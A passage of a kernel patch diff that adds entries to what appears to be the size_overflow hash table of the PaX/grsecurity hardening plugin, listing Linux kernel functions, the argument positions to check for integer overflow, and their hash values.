++_003051_hash compat_keyctl_instantiate_key_iov 3 57431 _003088_hash NULL nohasharray
++_003052_hash compat_process_vm_rw 3-5 22254 _003052_hash NULL
++_003054_hash compat_sys_select 1 16131 _003054_hash NULL
++_003055_hash compat_sys_setsockopt 5 3326 _003055_hash NULL
++_003056_hash compat_udp_setsockopt 5 38840 _003056_hash NULL
++_003057_hash compat_udpv6_setsockopt 5 42981 _003057_hash NULL
++_003058_hash do_compat_pselect 1 10398 _003058_hash NULL
++_003059_hash gnttab_expand 1 15817 _003059_hash NULL
++_003060_hash ipath_cdev_init 1 37752 _003060_hash NULL
++_003061_hash ipath_reg_phys_mr 3 23918 _003061_hash &_000999_hash
++_003062_hash qib_alloc_fast_reg_mr 2 12526 _003062_hash NULL
++_003063_hash qib_reg_phys_mr 3 60202 _003063_hash &_000897_hash
++_003064_hash compat_readv 3 30273 _003064_hash NULL
++_003065_hash compat_sys_process_vm_readv 3-5 15374 _003065_hash NULL
++_003067_hash compat_sys_process_vm_writev 3-5 41194 _003067_hash NULL
++_003069_hash compat_sys_pselect6 1 14105 _003069_hash NULL
++_003070_hash compat_writev 3 60063 _003070_hash NULL
++_003071_hash get_free_entries 1 46030 _003071_hash NULL
++_003072_hash compat_sys_preadv64 3 24283 _003072_hash NULL
++_003073_hash compat_sys_pwritev64 3 51151 _003073_hash NULL
++_003074_hash compat_sys_readv 3 20911 _003074_hash NULL
++_003075_hash compat_sys_writev 3 5784 _003075_hash NULL
++_003076_hash gnttab_alloc_grant_references 1 18240 _003076_hash NULL
++_003077_hash compat_sys_preadv 3 583 _003077_hash NULL
++_003078_hash compat_sys_pwritev 3 17886 _003078_hash NULL
++_003079_hash aes_decrypt_fail_read 3 54815 _003079_hash NULL
++_003080_hash aes_decrypt_interrupt_read 3 19910 _003080_hash NULL
++_003081_hash aes_decrypt_packets_read 3 10155 _003081_hash NULL
++_003082_hash aes_encrypt_fail_read 3 32562 _003082_hash NULL
++_003083_hash aes_encrypt_interrupt_read 3 39919 _003083_hash NULL
++_003084_hash aes_encrypt_packets_read 3 48666 _003084_hash NULL
++_003085_hash agp_remap 2 30665 _003085_hash NULL
++_003086_hash alloc_apertures 1 56561 _003086_hash NULL
++_003087_hash allocate_probes 1 40204 _003087_hash NULL
++_003088_hash alloc_ftrace_hash 1 57431 _003088_hash &_003051_hash
++_003089_hash alloc_page_cgroup 1 2919 _003089_hash NULL
++_003090_hash __alloc_preds 2 9492 _003090_hash NULL
++_003091_hash __alloc_pred_stack 2 26687 _003091_hash NULL
++_003092_hash alloc_sched_domains 1 47756 _003092_hash NULL
++_003093_hash alloc_trace_probe 6 38720 _003093_hash NULL
++_003094_hash alloc_trace_uprobe 3 13870 _003094_hash &_002976_hash
++_003095_hash ath6kl_sdio_alloc_prep_scat_req 2 51986 _003095_hash NULL
++_003096_hash ath6kl_usb_post_recv_transfers 2 32892 _003096_hash NULL
++_003097_hash ath6kl_usb_submit_ctrl_in 6 32880 _003097_hash &_000795_hash
++_003098_hash ath6kl_usb_submit_ctrl_out 6 9978 _003098_hash NULL
++_003099_hash av7110_ipack_init 2 46655 _003099_hash NULL
++_003100_hash av7110_vbi_write 3 34384 _003100_hash NULL
++_003101_hash bin_uuid 3 28999 _003101_hash NULL
++_003102_hash blk_dropped_read 3 4168 _003102_hash NULL
++_003103_hash blk_msg_write 3 13655 _003103_hash NULL
++_003104_hash brcmf_usbdev_qinit 2 19090 _003104_hash &_001715_hash
++_003105_hash brcmf_usb_dl_cmd 4 53130 _003105_hash NULL
++_003106_hash ci_ll_init 3 12930 _003106_hash NULL
++_003107_hash ci_ll_write 4 3740 _003107_hash NULL
++_003108_hash conf_read 3 55786 _003108_hash NULL
++_003109_hash __copy_from_user_inatomic_nocache 3 49921 _003109_hash NULL
++_003110_hash cx24116_writeregN 4 41975 _003110_hash NULL
++_003111_hash cyttsp_probe 4 1940 _003111_hash NULL
++_003112_hash dccpprobe_read 3 52549 _003112_hash NULL
++_003113_hash ddb_input_read 3 9743 _003113_hash NULL
++_003114_hash ddb_output_write 3 31902 _003114_hash NULL
++_003115_hash __devres_alloc 2 25598 _003115_hash NULL
++_003116_hash dma_rx_errors_read 3 52045 _003116_hash NULL
++_003117_hash dma_rx_requested_read 3 65354 _003117_hash NULL
++_003118_hash dma_tx_errors_read 3 46060 _003118_hash NULL
++_003119_hash dma_tx_requested_read 3 16110 _003203_hash NULL nohasharray
++_003120_hash do_dmabuf_dirty_sou 7 3017 _003120_hash NULL
++_003121_hash do_surface_dirty_sou 7 39678 _003121_hash NULL
++_003122_hash driver_state_read 3 17194 _003122_hash &_001511_hash
++_003123_hash drm_agp_bind_pages 3 56748 _003123_hash NULL
++_003124_hash drm_buffer_alloc 2 44405 _003124_hash NULL
++_003125_hash drm_calloc_large 1-2 65421 _003125_hash NULL
++_003127_hash drm_fb_helper_init 3-4 19044 _003127_hash NULL
++_003129_hash drm_ht_create 2 18853 _003129_hash NULL
++_003130_hash drm_ioctl 2 42813 _003130_hash NULL
++_003131_hash drm_malloc_ab 1-2 16831 _003131_hash NULL
++_003133_hash drm_mode_crtc_set_gamma_size 2 31881 _003133_hash NULL
++_003134_hash drm_plane_init 6 28731 _003134_hash NULL
++_003135_hash drm_property_create 4 51239 _003135_hash NULL
++_003136_hash drm_property_create_blob 2 7414 _003136_hash NULL
++_003137_hash drm_vblank_init 2 11362 _003137_hash NULL
++_003138_hash drm_vmalloc_dma 1 14550 _003138_hash NULL
++_003139_hash dvb_aplay 3 56296 _003139_hash NULL
++_003140_hash dvb_ca_en50221_init 4 45718 _003140_hash NULL
++_003141_hash dvb_ca_en50221_io_write 3 43533 _003141_hash NULL
++_003142_hash dvb_dmxdev_set_buffer_size 2 55643 _003142_hash NULL
++_003143_hash dvbdmx_write 3 19423 _003143_hash NULL
++_003144_hash dvb_dvr_set_buffer_size 2 9840 _003144_hash NULL
++_003145_hash dvb_net_sec 3 37884 _003145_hash NULL
++_003146_hash dvb_play 3 50814 _003146_hash NULL
++_003147_hash dvb_ringbuffer_pkt_read_user 2-5-3 4303 _003147_hash NULL
++_003150_hash dvb_ringbuffer_read_user 3 56702 _003150_hash NULL
++_003151_hash dvb_usercopy 2 14036 _003151_hash NULL
++_003152_hash dw210x_op_rw 6 39915 _003152_hash NULL
++_003153_hash edt_ft5x06_debugfs_raw_data_read 3 28002 _003153_hash NULL
++_003154_hash em_canid_change 3 14150 _003154_hash NULL
++_003155_hash event_calibration_read 3 21083 _003155_hash NULL
++_003156_hash event_enable_read 3 7074 _003156_hash NULL
++_003157_hash event_filter_read 3 23494 _003157_hash NULL
++_003158_hash event_filter_write 3 56609 _003158_hash NULL
++_003159_hash event_heart_beat_read 3 48961 _003159_hash NULL
++_003160_hash event_id_read 3 64288 _003160_hash &_001300_hash
++_003161_hash event_oom_late_read 3 61175 _003161_hash &_001054_hash
++_003162_hash event_phy_transmit_error_read 3 10471 _003162_hash NULL
++_003163_hash event_rx_mem_empty_read 3 40363 _003163_hash NULL
++_003164_hash event_rx_mismatch_read 3 38518 _003164_hash NULL
++_003165_hash event_rx_pool_read 3 25792 _003165_hash NULL
++_003166_hash event_tx_stuck_read 3 19305 _003166_hash NULL
++_003167_hash excessive_retries_read 3 60425 _003167_hash NULL
++_003168_hash flexcop_device_kmalloc 1 54793 _003168_hash NULL
++_003169_hash fm_send_cmd 5 39639 _003169_hash NULL
++_003170_hash __fprog_create 2 41263 _003170_hash NULL
++_003171_hash fq_codel_zalloc 1 15378 _003171_hash NULL
++_003172_hash ftrace_pid_write 3 39710 _003172_hash NULL
++_003173_hash ftrace_profile_read 3 21327 _003173_hash NULL
++_003174_hash fw_stats_raw_read 3 1369 _003174_hash NULL
++_003175_hash get_info 3 55681 _003175_hash NULL
++_003176_hash __get_vm_area_node 1 55305 _003176_hash NULL
++_003177_hash gpio_power_read 3 36059 _003177_hash NULL
++_003178_hash h5_prepare_pkt 4 12085 _003178_hash NULL
++_003179_hash hsc_msg_alloc 1 60990 _003179_hash NULL
++_003180_hash hsc_write 3 55875 _003180_hash NULL
++_003181_hash hsi_alloc_controller 1 41802 _003181_hash NULL
++_003182_hash hsi_register_board_info 2 13820 _003182_hash NULL
++_003183_hash hugetlb_cgroup_read 5 49259 _003183_hash NULL
++_003184_hash i915_cache_sharing_read 3 24775 _003184_hash NULL
++_003185_hash i915_cache_sharing_write 3 57961 _003185_hash NULL
++_003186_hash i915_max_freq_read 3 20581 _003186_hash NULL
++_003187_hash i915_max_freq_write 3 11350 _003187_hash NULL
++_003188_hash i915_min_freq_read 3 38470 _003188_hash NULL
++_003189_hash i915_min_freq_write 3 10981 _003189_hash NULL
++_003190_hash i915_ring_stop_read 3 42549 _003190_hash &_000740_hash
++_003191_hash i915_ring_stop_write 3 59010 _003191_hash NULL
++_003192_hash i915_wedged_read 3 35474 _003192_hash NULL
++_003193_hash i915_wedged_write 3 47771 _003193_hash NULL
++_003194_hash ieee802154_alloc_device 1 13767 _003194_hash NULL
++_003195_hash intel_sdvo_write_cmd 4 54377 _003195_hash &_000832_hash
++_003196_hash isr_cmd_cmplt_read 3 53439 _003196_hash NULL
++_003197_hash isr_commands_read 3 41398 _003197_hash NULL
++_003198_hash isr_decrypt_done_read 3 49490 _003198_hash NULL
++_003199_hash isr_dma0_done_read 3 8574 _003199_hash NULL
++_003200_hash isr_dma1_done_read 3 48159 _003200_hash NULL
++_003201_hash isr_fiqs_read 3 34687 _003201_hash NULL
++_003202_hash isr_host_acknowledges_read 3 54136 _003202_hash NULL
++_003203_hash isr_hw_pm_mode_changes_read 3 16110 _003203_hash &_003119_hash
++_003204_hash isr_irqs_read 3 9181 _003204_hash NULL
++_003205_hash isr_low_rssi_read 3 64789 _003205_hash NULL
++_003206_hash isr_pci_pm_read 3 30271 _003206_hash NULL
++_003207_hash isr_rx_headers_read 3 38325 _003207_hash NULL
++_003208_hash isr_rx_mem_overflow_read 3 43025 _003208_hash NULL
++_003209_hash isr_rx_procs_read 3 31804 _003209_hash NULL
++_003210_hash isr_rx_rdys_read 3 35283 _003210_hash NULL
++_003211_hash isr_tx_exch_complete_read 3 16103 _003211_hash NULL
++_003212_hash isr_tx_procs_read 3 23084 _003212_hash NULL
++_003213_hash isr_wakeups_read 3 49607 _003213_hash NULL
++_003214_hash LoadBitmap 2 19658 _003214_hash NULL
++_003215_hash mem_cgroup_read 5 22461 _003215_hash NULL
++_003216_hash mic_calc_failure_read 3 59700 _003216_hash NULL
++_003217_hash mic_rx_pkts_read 3 27972 _003217_hash NULL
++_003218_hash __module_alloc 1 50004 _003218_hash NULL
++_003219_hash module_alloc_update_bounds_rw 1 63233 _003219_hash NULL
++_003220_hash module_alloc_update_bounds_rx 1 58634 _003220_hash NULL
++_003221_hash mwifiex_usb_submit_rx_urb 2 54558 _003221_hash NULL
++_003222_hash nfc_hci_hcp_message_tx 6 14534 _003222_hash NULL
++_003223_hash nfc_hci_set_param 5 40697 _003223_hash NULL
++_003224_hash nfc_shdlc_alloc_skb 2 12741 _003224_hash NULL
++_003225_hash opera1_xilinx_rw 5 31453 _003225_hash NULL
++_003226_hash persistent_ram_vmap 1-2 709 _003226_hash NULL
++_003228_hash prctl_set_mm 3 64538 _003228_hash NULL
++_003229_hash probe_kernel_write 3 17481 _003229_hash NULL
++_003230_hash proc_fault_inject_read 3 36802 _003230_hash NULL
++_003231_hash proc_fault_inject_write 3 21058 _003231_hash NULL
++_003232_hash ps_pspoll_max_apturn_read 3 6699 _003232_hash NULL
++_003233_hash ps_pspoll_timeouts_read 3 11776 _003233_hash NULL
++_003234_hash ps_pspoll_utilization_read 3 5361 _003234_hash NULL
++_003235_hash ps_upsd_max_apturn_read 3 19918 _003235_hash NULL
++_003236_hash ps_upsd_max_sptime_read 3 63362 _003236_hash NULL
++_003237_hash ps_upsd_timeouts_read 3 28924 _003237_hash NULL
++_003238_hash ps_upsd_utilization_read 3 51669 _003238_hash NULL
++_003239_hash ptp_filter_init 2 36780 _003239_hash NULL
++_003240_hash pwr_disable_ps_read 3 13176 _003240_hash NULL
++_003241_hash pwr_elp_enter_read 3 5324 _003241_hash NULL
++_003242_hash pwr_enable_ps_read 3 17686 _003242_hash NULL
++_003243_hash pwr_fix_tsf_ps_read 3 26627 _003243_hash NULL
++_003244_hash pwr_missing_bcns_read 3 25824 _003244_hash NULL
++_003245_hash pwr_power_save_off_read 3 18355 _003245_hash NULL
++_003246_hash pwr_ps_enter_read 3 26935 _003246_hash &_000512_hash
++_003247_hash pwr_rcvd_awake_beacons_read 3 50505 _003247_hash NULL
++_003248_hash pwr_rcvd_beacons_read 3 52836 _003248_hash NULL
++_003249_hash pwr_tx_without_ps_read 3 48423 _003249_hash NULL
++_003250_hash pwr_tx_with_ps_read 3 60851 _003250_hash NULL
++_003251_hash pwr_wake_on_host_read 3 26321 _003251_hash NULL
++_003252_hash pwr_wake_on_timer_exp_read 3 22640 _003252_hash NULL
++_003253_hash rb_simple_read 3 45972 _003253_hash NULL
++_003254_hash read_file_dfs 3 43145 _003254_hash NULL
++_003255_hash retry_count_read 3 52129 _003255_hash NULL
++_003256_hash rx_dropped_read 3 44799 _003256_hash NULL
++_003257_hash rx_fcs_err_read 3 62844 _003257_hash NULL
++_003258_hash rx_hdr_overflow_read 3 64407 _003258_hash NULL
++_003259_hash rx_hw_stuck_read 3 57179 _003259_hash NULL
++_003260_hash rx_out_of_mem_read 3 10157 _003260_hash NULL
++_003261_hash rx_path_reset_read 3 23801 _003261_hash NULL
++_003262_hash rxpipe_beacon_buffer_thres_host_int_trig_rx_data_read 3 55106 _003262_hash NULL
++_003263_hash rxpipe_descr_host_int_trig_rx_data_read 3 22001 _003263_hash &_002981_hash
++_003264_hash rxpipe_missed_beacon_host_int_trig_rx_data_read 3 63405 _003264_hash NULL
++_003265_hash rxpipe_rx_prep_beacon_drop_read 3 2403 _003265_hash NULL
++_003266_hash rxpipe_tx_xfr_host_int_trig_rx_data_read 3 35538 _003266_hash NULL
++_003267_hash rx_reset_counter_read 3 58001 _003267_hash NULL
++_003268_hash rx_xfr_hint_trig_read 3 40283 _003268_hash NULL
++_003269_hash saa7146_vmalloc_build_pgtable 2 19780 _003269_hash NULL
++_003270_hash sched_feat_write 3 55202 _003270_hash NULL
++_003271_hash sd_alloc_ctl_entry 1 29708 _003271_hash NULL
++_003272_hash shmem_pread_fast 3 34147 _003272_hash NULL
++_003273_hash shmem_pread_slow 3 3198 _003273_hash NULL
++_003274_hash shmem_pwrite_slow 3 31741 _003274_hash NULL
++_003275_hash show_header 3 4722 _003275_hash &_000745_hash
++_003276_hash stack_max_size_read 3 1445 _003276_hash NULL
++_003277_hash subsystem_filter_read 3 62310 _003277_hash NULL
++_003278_hash subsystem_filter_write 3 13022 _003278_hash NULL
++_003279_hash swap_cgroup_swapon 2 13614 _003279_hash NULL
++_003280_hash system_enable_read 3 25815 _003280_hash NULL
++_003281_hash tda10048_writeregbulk 4 11050 _003281_hash NULL
++_003282_hash tlbflush_read_file 3 64661 _003282_hash NULL
++_003283_hash trace_options_core_read 3 47390 _003283_hash NULL
++_003284_hash trace_options_read 3 11419 _003284_hash NULL
++_003285_hash trace_parser_get_init 2 31379 _003285_hash NULL
++_003286_hash traceprobe_probes_write 3 64969 _003286_hash NULL
++_003287_hash trace_seq_to_user 3 65398 _003287_hash NULL
++_003288_hash tracing_buffers_read 3 11124 _003288_hash NULL
++_003289_hash tracing_clock_write 3 27961 _003289_hash NULL
++_003290_hash tracing_cpumask_read 3 7010 _003290_hash NULL
++_003291_hash tracing_ctrl_read 3 46922 _003291_hash NULL
++_003292_hash tracing_entries_read 3 8345 _003292_hash NULL
++_003293_hash tracing_max_lat_read 3 8890 _003293_hash NULL
++_003294_hash tracing_read_dyn_info 3 45468 _003294_hash NULL
++_003295_hash tracing_readme_read 3 16493 _003295_hash NULL
++_003296_hash tracing_saved_cmdlines_read 3 21434 _003296_hash NULL
++_003297_hash tracing_set_trace_read 3 44122 _003297_hash NULL
++_003298_hash tracing_set_trace_write 3 57096 _003298_hash NULL
++_003299_hash tracing_stats_read 3 34537 _003299_hash NULL
++_003300_hash tracing_total_entries_read 3 62817 _003300_hash NULL
++_003301_hash tracing_trace_options_write 3 153 _003301_hash NULL
++_003302_hash tstats_write 3 60432 _003302_hash &_000009_hash
++_003303_hash ttm_bo_fbdev_io 4 9805 _003303_hash NULL
++_003304_hash ttm_bo_io 5 47000 _003304_hash NULL
++_003305_hash ttm_dma_page_pool_free 2 34135 _003305_hash NULL
++_003306_hash ttm_page_pool_free 2 61661 _003306_hash NULL
++_003307_hash ttusb2_msg 4 3100 _003307_hash NULL
++_003308_hash tx_internal_desc_overflow_read 3 47300 _003308_hash NULL
++_003309_hash tx_queue_len_read 3 1463 _003309_hash NULL
++_003310_hash tx_queue_status_read 3 44978 _003310_hash NULL
++_003311_hash u_memcpya 2-3 30139 _003311_hash NULL
++_003313_hash usb_allocate_stream_buffers 3 8964 _003313_hash NULL
++_003314_hash vifs_state_read 3 33762 _003314_hash NULL
++_003315_hash vmalloc_to_sg 2 58354 _003315_hash NULL
++_003316_hash vm_map_ram 2 23078 _003316_hash &_001095_hash
++_003317_hash vmw_execbuf_process 5 22885 _003317_hash NULL
++_003318_hash vmw_fifo_reserve 2 12141 _003318_hash NULL
++_003319_hash vmw_kms_present 9 38130 _003319_hash NULL
++_003320_hash vmw_kms_readback 6 5727 _003320_hash NULL
++_003321_hash wep_addr_key_count_read 3 20174 _003321_hash NULL
++_003322_hash wep_decrypt_fail_read 3 58567 _003322_hash NULL
++_003323_hash wep_default_key_count_read 3 43035 _003323_hash NULL
++_003324_hash wep_interrupt_read 3 41492 _003324_hash NULL
++_003325_hash wep_key_not_found_read 3 13377 _003325_hash &_000952_hash
++_003326_hash wep_packets_read 3 18751 _003326_hash NULL
++_003327_hash wl1251_cmd_template_set 4 6172 _003327_hash NULL
++_003328_hash wl1271_format_buffer 2 20834 _003328_hash NULL
++_003329_hash wl1271_rx_filter_alloc_field 5 46721 _003329_hash NULL
++_003330_hash wl12xx_cmd_build_probe_req 6-8 54946 _003330_hash NULL
++_003332_hash wlcore_alloc_hw 1 7785 _003332_hash NULL
++_003333_hash aggr_size_rx_size_read 3 33526 _003333_hash NULL
++_003334_hash aggr_size_tx_agg_vs_rate_read 3 21438 _003334_hash NULL
++_003335_hash alloc_and_copy_ftrace_hash 1 29368 _003335_hash NULL
++_003336_hash alloc_bulk_urbs_generic 5 12127 _003336_hash NULL
++_003337_hash alloc_ieee80211 1 20063 _003337_hash NULL
++_003338_hash alloc_ieee80211_rsl 1 34564 _003338_hash NULL
++_003339_hash alloc_perm_bits 2 1532 _003339_hash NULL
++_003340_hash alloc_private 2 22399 _003340_hash NULL
++_003341_hash alloc_rtllib 1 51136 _003341_hash NULL
++_003342_hash alloc_rx_desc_ring 2 18016 _003342_hash NULL
++_003343_hash arcfb_write 3 8702 _003343_hash NULL
++_003344_hash ath6kl_usb_bmi_read 3 48745 _003344_hash NULL
++_003345_hash ath6kl_usb_bmi_write 3 2454 _003345_hash &_001020_hash
++_003346_hash ath6kl_usb_ctrl_msg_exchange 4 33327 _003346_hash NULL
++_003347_hash au0828_init_isoc 2-3 61917 _003347_hash NULL
++_003349_hash auok190xfb_write 3 37001 _003349_hash NULL
++_003350_hash beacon_interval_read 3 7091 _003350_hash NULL
++_003351_hash brcmf_usb_attach 1-2 44656 _003351_hash NULL
++_003353_hash broadsheetfb_write 3 39976 _003353_hash NULL
++_003354_hash broadsheet_spiflash_rewrite_sector 2 54864 _003354_hash NULL
++_003355_hash ci13xxx_add_device 3 14456 _003355_hash NULL
++_003356_hash cmpk_message_handle_tx 4 54024 _003356_hash NULL
++_003357_hash comedi_alloc_subdevices 2 29207 _003357_hash NULL
++_003358_hash comedi_buf_alloc 3 24822 _003358_hash NULL
++_003359_hash comedi_read 3 13199 _003359_hash NULL
++_003360_hash comedi_write 3 47926 _003360_hash NULL
++_003361_hash create_trace_probe 1 20175 _003361_hash NULL
++_003362_hash create_trace_uprobe 1 13184 _003362_hash NULL
++_003363_hash cx18_copy_buf_to_user 4 22735 _003363_hash NULL
++_003364_hash cx231xx_init_bulk 2-3 47024 _003364_hash NULL
++_003366_hash cx231xx_init_isoc 2-3 56453 _003366_hash NULL
++_003368_hash cx231xx_init_vbi_isoc 2-3 28053 _003368_hash NULL
++_003370_hash da9052_group_write 3 4534 _003370_hash NULL
++_003371_hash debug_debug1_read 3 8856 _003371_hash NULL
++_003372_hash debug_debug2_read 3 30526 _003372_hash NULL
++_003373_hash debug_debug3_read 3 56894 _003373_hash NULL
++_003374_hash debug_debug4_read 3 61367 _003374_hash NULL
++_003375_hash debug_debug5_read 3 2291 _003375_hash NULL
++_003376_hash debug_debug6_read 3 33168 _003376_hash NULL
++_003377_hash dev_read 3 56369 _003377_hash NULL
++_003378_hash do_dmabuf_dirty_ldu 6 52241 _003378_hash NULL
++_003379_hash drm_compat_ioctl 2 51717 _003379_hash NULL
++_003380_hash drm_mode_create_tv_properties 2 23122 _003380_hash NULL
++_003381_hash drm_property_create_bitmask 5 30195 _003381_hash NULL
++_003382_hash drm_property_create_enum 5 29201 _003382_hash NULL
++_003383_hash dsp_buffer_alloc 2 11684 _003383_hash NULL
++_003384_hash dt3155_alloc_coherent 2 58073 _003384_hash NULL
++_003385_hash dtim_interval_read 3 654 _003385_hash NULL
++_003386_hash dvb_audio_write 3 51275 _003386_hash NULL
++_003387_hash dvb_ca_en50221_io_ioctl 2 26490 _003387_hash NULL
++_003388_hash dvb_ca_write 3 41171 _003388_hash NULL
++_003389_hash dvb_demux_ioctl 2 42733 _003389_hash NULL
++_003390_hash dvb_dmxdev_buffer_read 4 20682 _003390_hash NULL
++_003391_hash dvb_dvr_ioctl 2 49182 _003391_hash NULL
++_003392_hash dvb_generic_ioctl 2 21810 _003392_hash NULL
++_003393_hash dvb_net_ioctl 2 61559 _003393_hash NULL
++_003394_hash dvb_net_sec_callback 2 28786 _003394_hash NULL
++_003396_hash dvb_video_write 3 754 _003396_hash NULL
++_003397_hash dynamic_ps_timeout_read 3 10110 _003397_hash NULL
++_003398_hash easycap_alsa_vmalloc 2 14426 _003398_hash NULL
++_003399_hash em28xx_alloc_isoc 4 46892 _003399_hash NULL
++_003400_hash error_error_bar_retry_read 3 64305 _003400_hash NULL
++_003401_hash error_error_frame_cts_nul_flid_read 3 17262 _003401_hash NULL
++_003402_hash error_error_frame_read 3 39947 _003402_hash &_002436_hash
++_003403_hash error_error_null_Frame_tx_start_read 3 55024 _003403_hash NULL
++_003404_hash error_error_numll_frame_cts_start_read 3 47781 _003404_hash NULL
++_003405_hash ext_sd_execute_read_data 9 48589 _003405_hash NULL
++_003406_hash ext_sd_execute_write_data 9 8175 _003406_hash NULL
++_003407_hash fast_user_write 5 20494 _003407_hash NULL
++_003408_hash f_audio_buffer_alloc 1 41110 _003408_hash NULL
++_003409_hash fb_alloc_cmap_gfp 2 20792 _003409_hash NULL
++_003410_hash fbcon_do_set_font 2-3 4079 _003410_hash NULL
++_003412_hash fb_read 3 33506 _003412_hash NULL
++_003413_hash fb_sys_read 3 13778 _003413_hash NULL
++_003414_hash fb_sys_write 3 33130 _003414_hash NULL
++_003415_hash fb_write 3 46924 _003415_hash NULL
++_003416_hash firmwareUpload 3 32794 _003416_hash NULL
++_003417_hash fmc_send_cmd 5 20435 _003417_hash NULL
++_003418_hash fops_read 3 40672 _003418_hash NULL
++_003419_hash forced_ps_read 3 31685 _003419_hash NULL
++_003420_hash frame_alloc 4 15981 _003420_hash NULL
++_003421_hash framebuffer_alloc 1 59145 _003421_hash NULL
++_003422_hash ftrace_write 3 29551 _003422_hash NULL
++_003423_hash fw_download_code 3 13249 _003423_hash NULL
++_003424_hash fwSendNullPacket 2 54618 _003424_hash NULL
++_003425_hash gdm_wimax_netif_rx 3 43423 _003425_hash &_001810_hash
++_003426_hash get_vm_area 1 18080 _003426_hash NULL
++_003427_hash __get_vm_area 1 61599 _003427_hash NULL
++_003428_hash get_vm_area_caller 1 10527 _003428_hash NULL
++_003429_hash __get_vm_area_caller 1 56416 _003828_hash NULL nohasharray
++_003430_hash gspca_dev_probe2 4 59833 _003430_hash NULL
++_003431_hash hdpvr_read 3 9273 _003431_hash NULL
++_003432_hash hecubafb_write 3 26942 _003432_hash NULL
++_003433_hash i915_compat_ioctl 2 3656 _003433_hash NULL
++_003434_hash i915_gem_execbuffer_relocate_slow 7 25355 _003434_hash NULL
++_003435_hash ieee80211_alloc_txb 1-2 52477 _003435_hash NULL
++_003437_hash ieee80211_authentication_req 3 63973 _003437_hash NULL
++_003438_hash ieee80211_wx_set_gen_ie 3 51399 _003438_hash NULL
++_003439_hash ieee80211_wx_set_gen_ie_rsl 3 3521 _003458_hash NULL nohasharray
++_003440_hash intel_sdvo_set_value 4 2311 _003440_hash NULL
++_003441_hash ir_lirc_transmit_ir 3 64403 _003441_hash NULL
++_003442_hash irq_blk_threshold_read 3 33666 _003442_hash NULL
++_003443_hash irq_pkt_threshold_read 3 33356 _003443_hash &_000154_hash
++_003444_hash irq_timeout_read 3 54653 _003444_hash NULL
++_003445_hash ivtv_buf_copy_from_user 4 25502 _003445_hash NULL
++_003446_hash ivtv_copy_buf_to_user 4 6159 _003446_hash NULL
++_003447_hash ivtvfb_write 3 40023 _003447_hash NULL
++_003448_hash kgdb_hex2mem 3 24755 _003448_hash NULL
++_003449_hash lirc_buffer_init 2-3 53282 _003449_hash NULL
++_003451_hash lirc_write 3 20604 _003451_hash NULL
++_003452_hash mce_request_packet 3 1073 _003452_hash NULL
++_003453_hash media_entity_init 2-4 15870 _003453_hash &_001742_hash
++_003455_hash mem_fw_gen_free_mem_blks_read 3 11413 _003455_hash NULL
++_003456_hash mem_fwlog_free_mem_blks_read 3 59616 _003456_hash NULL
++_003457_hash mem_rx_free_mem_blks_read 3 675 _003457_hash NULL
++_003458_hash mem_tx_free_mem_blks_read 3 3521 _003458_hash &_003439_hash
++_003459_hash metronomefb_write 3 8823 _003459_hash NULL
++_003460_hash mga_compat_ioctl 2 52170 _003460_hash NULL
++_003461_hash mmio_read 4 40348 _003461_hash NULL
++_003462_hash netlink_send 5 38434 _003462_hash NULL
++_003463_hash nfc_hci_execute_cmd 5 43882 _003463_hash NULL
++_003464_hash nfc_hci_send_event 5 21452 _003464_hash NULL
++_003465_hash nfc_hci_send_response 5 56462 _003465_hash NULL
++_003466_hash ni_gpct_device_construct 5 610 _003466_hash NULL
++_003467_hash nouveau_compat_ioctl 2 28305 _003467_hash NULL
++_003468_hash odev_update 2 50169 _003468_hash NULL
++_003469_hash opera1_usb_i2c_msgxfer 4 64521 _003469_hash NULL
++_003470_hash OSDSetBlock 2-4 38986 _003470_hash NULL
++_003472_hash oz_add_farewell 5 20652 _003472_hash NULL
++_003473_hash oz_cdev_read 3 20659 _003473_hash NULL
++_003474_hash oz_cdev_write 3 33852 _003474_hash NULL
++_003475_hash oz_ep_alloc 2 5587 _003475_hash NULL
++_003476_hash oz_events_read 3 47535 _003476_hash NULL
++_003477_hash persistent_ram_buffer_map 1-2 11332 _003477_hash NULL
++_003479_hash pipeline_cs_rx_packet_in_read 3 37089 _003479_hash NULL
++_003480_hash pipeline_cs_rx_packet_out_read 3 58926 _003480_hash NULL
++_003481_hash pipeline_csum_to_rx_xfer_swi_read 3 15403 _003481_hash NULL
++_003482_hash pipeline_dec_packet_in_fifo_full_read 3 33052 _003482_hash NULL
++_003483_hash pipeline_dec_packet_in_read 3 47076 _003483_hash NULL
++_003484_hash pipeline_dec_packet_out_read 3 54052 _003484_hash NULL
++_003485_hash pipeline_defrag_to_csum_swi_read 3 63037 _003485_hash NULL
++_003486_hash pipeline_enc_rx_stat_fifo_int_read 3 7107 _003486_hash NULL
++_003487_hash pipeline_enc_tx_stat_fifo_int_read 3 14680 _003487_hash NULL
++_003488_hash pipeline_hs_tx_stat_fifo_int_read 3 15642 _003488_hash &_001260_hash
++_003489_hash pipeline_pipeline_fifo_full_read 3 34095 _003489_hash NULL
++_003490_hash pipeline_post_proc_swi_read 3 24108 _003490_hash NULL
++_003491_hash pipeline_pre_proc_swi_read 3 3898 _003491_hash NULL
++_003492_hash pipeline_pre_to_defrag_swi_read 3 56321 _003492_hash NULL
++_003493_hash pipeline_rx_complete_stat_fifo_int_read 3 40671 _003493_hash NULL
++_003494_hash pipeline_sec_frag_swi_read 3 30294 _003494_hash NULL
++_003495_hash pipeline_tcp_rx_stat_fifo_int_read 3 26745 _003495_hash NULL
++_003496_hash pipeline_tcp_tx_stat_fifo_int_read 3 32589 _003496_hash NULL
++_003497_hash play_iframe 3 8219 _003497_hash NULL
++_003498_hash probes_write 3 29711 _003498_hash NULL
++_003499_hash psb_unlocked_ioctl 2 16926 _003499_hash &_002668_hash
++_003500_hash ps_poll_ps_poll_max_ap_turn_read 3 53140 _003500_hash NULL
++_003501_hash ps_poll_ps_poll_timeouts_read 3 5934 _003501_hash NULL
++_003502_hash ps_poll_ps_poll_utilization_read 3 39383 _003502_hash NULL
++_003503_hash ps_poll_upsd_max_ap_turn_read 3 42050 _003503_hash NULL
++_003504_hash ps_poll_upsd_timeouts_read 3 36755 _003504_hash NULL
++_003505_hash ps_poll_upsd_utilization_read 3 28519 _003505_hash NULL
++_003506_hash pvr2_ioread_read 3 10720 _003506_hash &_001669_hash
++_003507_hash pvr2_ioread_set_sync_key 3 59882 _003507_hash NULL
++_003508_hash pvr2_stream_buffer_count 2 33719 _003508_hash NULL
++_003509_hash pwr_connection_out_of_sync_read 3 35061 _003509_hash NULL
++_003510_hash pwr_cont_miss_bcns_spread_read 3 39250 _003515_hash NULL nohasharray
++_003511_hash pwr_missing_bcns_cnt_read 3 45113 _003511_hash NULL
